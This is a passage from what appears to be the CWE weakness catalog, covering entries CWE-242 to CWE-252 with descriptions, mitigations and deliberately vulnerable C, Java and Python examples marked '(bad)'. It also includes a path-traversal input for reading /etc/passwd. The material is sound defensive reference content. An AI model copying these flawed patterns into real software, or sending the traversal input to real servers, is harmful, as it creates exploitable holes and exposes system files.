Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input

is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Observed Examples

Reference	Description
<b>CVE-1999-1156</b>	FTP server crash via PORT command with non-numeric character. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1156">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1156</a>
<b>CVE-2004-0270</b>	Anti-virus product has assert error when line length is non-numeric. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0270">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0270</a>

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
48	Passing Local Filenames to Functions That Expect a URL

## CWE-242: Use of Inherently Dangerous Function

Weakness ID : 242

Status: Draft

Structure : Simple

Abstraction : Base

### Description

The program calls a function that can never be guaranteed to work safely.

### Extended Description

Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The `gets()` function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to `gets()` and overflow the destination buffer. Similarly, the `>>` operator is unsafe to use when reading into a statically-allocated character array because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the `>>` operator and overflow the destination buffer.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	1648

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

**Phase: Implementation**

**Phase: Requirements**

Ban the use of dangerous functions. Use their safe equivalent.

**Phase: Testing**

Use `grep` or static analysis tools to spot usage of dangerous functions.

### Demonstrative Examples

**Example 1:**

The code below calls `gets()` to read information into a buffer.

Example Language: C

(bad)

```
char buf[BUFSIZE];gets(buf);
```

The gets() function in C is inherently unsafe.

### Example 2:

The code below calls the gets() function to read in data from the command line.

Example Language: C

(bad)

```
char buf[24];printf("Please enter your name and press <Enter>\n");gets(buf);...}
```

However, the programmer uses the function gets() which is inherently unsafe because it blindly copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

## MemberOf Relationships

## CWE-243: Creation of chroot Jail Without Changing Working Directory

Weakness ID : 243

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

The program uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.

### Extended Description

Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Operating\_System :** Unix (Prevalence = Undetermined)

## Background Details

The chroot() system call allows a process to change its perception of the root directory of the file system. After properly invoking chroot(), a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a chroot jail and is commonly used to prevent the possibility that a processes could be subverted and used to access unauthorized files. For instance, many FTP servers run in chroot jails to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	

## Demonstrative Examples

### Example 1:

Consider the following source code from a (hypothetical) FTP server:

*Example Language: C*

*(bad)*

```
chroot("/var/ftproot");...fgets(filename, sizeof(filename), network);localfile = fopen(filename, "r");while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {fwrite(buf, 1, sizeof(buf), network);}fclose(localfile);
```

This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls chroot() in its initialization routines in an

attempt to prevent access to files outside of /var/ftp/root. But because the server does not change the current working directory by calling chdir("/"), an attacker could request the file "../../../../../etc/passwd" and obtain a copy of the system password file.

### Affected Resources

## CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')

**Weakness ID :** 244

**Status:** Draft

**Structure :** Simple

**Abstraction :** Variant

### Description

Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.

### Extended Description

When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		226	Sensitive Information Uncleared Before Release	494
CanPrecede		669	Incorrect Resource Transfer Between Spheres	1224

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	226	Sensitive Information Uncleared Before Release	494

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
Other	Other	
<p><i>Be careful using vfork() and fork() in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.</i></p>		

### Demonstrative Examples

#### Example 1:

The following code calls realloc() on a buffer containing sensitive data:

Example Language: C

(bad)

```
cleartext_buffer = get_secret();...cleartext_buffer = realloc(cleartext_buffer, 1024);...scrub_memory(cleartext_buffer, 1024);
```

There is an attempt to scrub the sensitive data from memory, but realloc() is used, so a copy of the data can still be exposed in the memory originally allocated for cleartext\_buffer.

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-245: J2EE Bad Practices: Direct Management of Connections

**Weakness ID** : 245

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

## Description

The J2EE application directly manages connections, instead of using the container's connection management facilities.

## Extended Description

The J2EE standard forbids the direct management of connections. It requires that applications use the container's resource management facilities to obtain connections to resources. Every major web application container provides pooled database connection management as part of its resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1263

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1263

## Weakness Ordinalities

**Primary** :

## Applicable Platforms

**Language** : Java (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

## Demonstrative Examples

### Example 1:

In the following example, the class DatabaseConnection opens and manages a connection to a database for a J2EE application. The method openDatabaseConnection opens a connection to the database using a DriverManager to create the Connection object conn to the database specified in the string constant CONNECT\_STRING.

*Example Language: Java*

*(bad)*

```
public class DatabaseConnection { private static final String CONNECT_STRING = "jdbc:mysql://localhost:3306/
mysqlpdb";private Connection conn = null; public DatabaseConnection() {} public void openDatabaseConnection() {try {conn
= DriverManager.getConnection(CONNECT_STRING);} catch (SQLException ex) {...}} // Member functions for retrieving
database connection and accessing database... }
```

The use of the DriverManager class to directly manage the connection to the database violates the J2EE restriction against the direct management of connections. The J2EE application should use the web application container's resource management facilities to obtain a connection to the database as shown in the following example.

Example Language:

(good)

```
public class DatabaseConnection { private static final String DB_DATASRC_REF = "jdbc:mysql://localhost:3306/
mysqlpdb";private Connection conn = null; public DatabaseConnection() { try
{ InitialContext ctx = new InitialContext();DataSource datasource = (DataSource) ctx.lookup(DB_DATASRC_REF);conn
= datasource.getConnection(); } catch (NamingException ex) {...} catch (SQLException ex) {...} // Member functions for
retrieving database connection and accessing database... }
```

## MemberOf Relationships

Software Fault Patterns	SFP3		Use of an improper API

## CWE-246: J2EE Bad Practices: Direct Use of Sockets

Weakness ID : 246

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

The J2EE application directly uses sockets instead of using framework method calls.

### Extended Description

The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling with difficult security issues. Without significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems. Many of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1263

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf	B	695	Use of Low-Level Functionality	1263

### Weakness Ordinalities

Resultant :

## Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

## Potential Mitigations

### Phase: Architecture and Design

Use framework method calls instead of using sockets directly.

## Demonstrative Examples

### Example 1:

The following example opens a socket to connect to a remote server.

*Example Language: Java*

*(bad)*

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
{ // Perform servlet tasks. ... // Open a socket to a remote server (bad). Socket sock = null; try { sock = new
Socket(remoteHostname, 3000); // Do something with the socket. ... } catch (Exception e) {...} }
```

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1537
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1646

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Bad Practices: Sockets
Software Fault Patterns	SFP3		Use of an improper API

## CWE-248: Uncaught Exception

**Weakness ID** : 248

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

## Description

An exception is thrown from a function, but it is not caught.

## Extended Description

When an exception is not caught, it may cause the program to crash or expose sensitive information.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		703	Improper Check or Handling of Exceptional Conditions	1271
ChildOf		705	Incorrect Control Flow Scoping	1274
ParentOf		600	Uncaught Exception in Servlet	1116

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		389	Error Conditions, Return Values, Status Codes	1548

### Applicable Platforms

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Confidentiality	Read Application Data	
<p><i>An uncaught exception could cause the system to be placed in a state that could lead to a crash, exposure of sensitive information or other unintended behaviors.</i></p>		

### Demonstrative Examples

#### Example 1:

The following example attempts to resolve a hostname.

*Example Language: Java*

*(bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {String ip = req.getRemoteAddr();InetAddress addr = InetAddress.getByName(ip);...out.println("hello " + addr.getHostName());}
```

A DNS lookup failure will cause the Servlet to throw an exception.

#### Example 2:

The `_alloca()` function allocates memory on the stack. If an allocation request is too large for the available stack space, `_alloca()` throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. `_alloca()` has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure `_alloca_s()`.

#### Example 3:

`EnterCriticalSection()` can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the `EnterCriticalSection()` function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.

### MemberOf Relationships

## CWE-250: Execution with Unnecessary Privileges

**Weakness ID** : 250

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

The software performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.

### Extended Description

New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges. Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**Paradigm** : Mobile (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	
Integrity	Execute Unauthorized Code or Commands	
Availability	Read Application Data	
Access Control	DoS: Crash, Exit, or Restart	
<p><i>An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.</i></p>		

### Detection Methods

#### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

#### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Compare binary / bytecode to application permission manifest  
 Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis  
 Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

#### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

#### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

*Effectiveness = SOAR Partial*

#### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### **Automated Static Analysis**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker Permission Manifest Analysis

*Effectiveness = SOAR Partial*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Architecture and Design**

##### **Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

##### **Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

### Phase: Architecture and Design

*Strategy = Attack Surface Reduction*

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

### Phase: Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

### Phase: Implementation

When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.

### Phase: Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [REF-76]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

### Phase: Operation

### Phase: System Configuration

*Strategy = Environment Hardening*

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

## Demonstrative Examples

### Example 1:

This code temporarily raises the program's privileges to allow creation of a new user folder.

*Example Language: Python*

*(bad)*

```
def makeNewUserDir(username):
    if invalidUsername(username):
        #avoid CWE-22 and CWE-78
        print('Usernames cannot contain invalid characters')
        return False
    try:
        raisePrivileges()
        os.mkdir('/home/' + username)
        lowerPrivileges()
    except OSError:
        print('Unable to create new user directory for user:' + username)
        return False
    return True
```

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to `os.mkdir()` throws an exception, the call to `lowerPrivileges()` will not occur. As a result,

the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

### Example 2:

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

*Example Language: C*

*(bad)*

```
chroot(APP_HOME);chdir("/");FILE* data = fopen(argv[1], "r+");...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

### Example 3:

This application intends to use a user's location to determine the timezone the user is in:

*Example Language: Java*

*(bad)*

```
locationClient = new LocationClient(this, this, this);locationClient.connect();Location userCurrLocation;userCurrLocation = locationClient.getLastLocation();setTimeZone(userCurrLocation);
```

This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.

### Example 4:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the `ACCESS_FINE_LOCATION` permission in the application's manifest.xml:

*Example Language: XML*

*(bad)*

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to `getLastLocation()` will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

*Example Language: Java*

*(bad)*

```
locationClient = new LocationClient(this, this, this);locationClient.connect();Location userCurrLocation;userCurrLocation = locationClient.getLastLocation();deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the `ACCESS_FINE_LOCATION` permission, as the `ACCESS_COARSE_LOCATION` permission will be sufficient to identify which US state the user is in.

## Observed Examples

Reference	Description
<b>CVE-2007-4217</b>	FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4217">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4217</a>
<b>CVE-2008-1877</b>	Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1877">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1877</a>
<b>CVE-2007-5159</b>	OS incorrectly installs a program with setuid privileges, allowing users to gain privileges. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5159">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5159</a>
<b>CVE-2008-4638</b>	Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4638">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4638</a>
<b>CVE-2008-0162</b>	Program does not drop privileges before calling another program, allowing code execution. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0162">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0162</a>
<b>CVE-2008-0368</b>	setuid root program allows creation of arbitrary files through command line argument. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0368">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0368</a>
<b>CVE-2007-3931</b>	Installation script installs some programs as setuid when they shouldn't be. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3931">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3931</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1537

MemberOf	C	858	CERT Java Secure Coding Section 13 - Serialization (SER)	844	1596
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1599
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	901	SFP Primary Cluster: Privilege	888	1613

### Notes

#### Relationship

There is a close association with CWE-653 (Insufficient Separation of Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible.

#### Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

## CWE-252: Unchecked Return Value

<b>Weakness ID</b> : 252	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

### Extended Description

Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1295
PeerOf		273	Improper Check for Dropped Privileges	571

Nature	Type	ID	Name	Page
CanPrecede	ⓑ	476	NULL Pointer Dereference	949

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	ⓐ	389	Error Conditions, Return Values, Status Codes	1548

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Availability	Unexpected State	
Integrity	DoS: Crash, Exit, or Restart	
<i>An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.</i>		

### Potential Mitigations

#### Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

*Effectiveness = High*

*Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.*

#### Phase: Implementation

Ensure that you account for all possible return values from the function.

#### Phase: Implementation

When designing a function, make sure you return a value or throw an exception in case of an error.

### Demonstrative Examples

#### Example 1:

Consider the following code segment:

*Example Language: C*

*(bad)*

```
char buf[10], cp_buf[10];fgets(buf, 10, stdin);strcpy(cp_buf, buf);
```

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

#### Example 2:

In the following example, it is possible to request that memcopy move a much larger segment of memory than assumed:

*Example Language: C*

*(bad)*

```
int returnChunkSize(void *) { /* if chunk info is valid, return the size of usable memory, * else, return -1 to indicate an error */ ... }
int main() {...memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));...}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

### Example 3:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

*Example Language: C*

*(bad)*

```
buf = (char*) malloc(req_size);strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue. It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state. The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req\_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

### Example 4:

The following examples read a file into a byte array.

*Example Language: C#*

*(bad)*

```
char[] byteArray = new char[1024];for (IEnumerator i=users.GetEnumerator(); i.MoveNext(); i.Current()) {String
userName = (String) i.Current();String pFileName = PFILE_ROOT + "/" + userName;StreamReader sr = new
StreamReader(pFileName);sr.Read(byteArray,0,1024);//the file is always 1k bytessr.Close();processPFile(userName,
byteArray);}
```

*Example Language: Java*

*(bad)*

```
FileInputStream fis;byte[] byteArray = new byte[1024];for (Iterator i=users.iterator(); i.hasNext();) { String
userName = (String) i.next();String pFileName = PFILE_ROOT + "/" + userName;FileInputStream fis = new
FileInputStream(pFileName);fis.read(byteArray); // the file is always 1k bytesfis.close();processPFile(userName, byteArray);}
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

### Example 5:

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Example Language: Java

(bad)

```
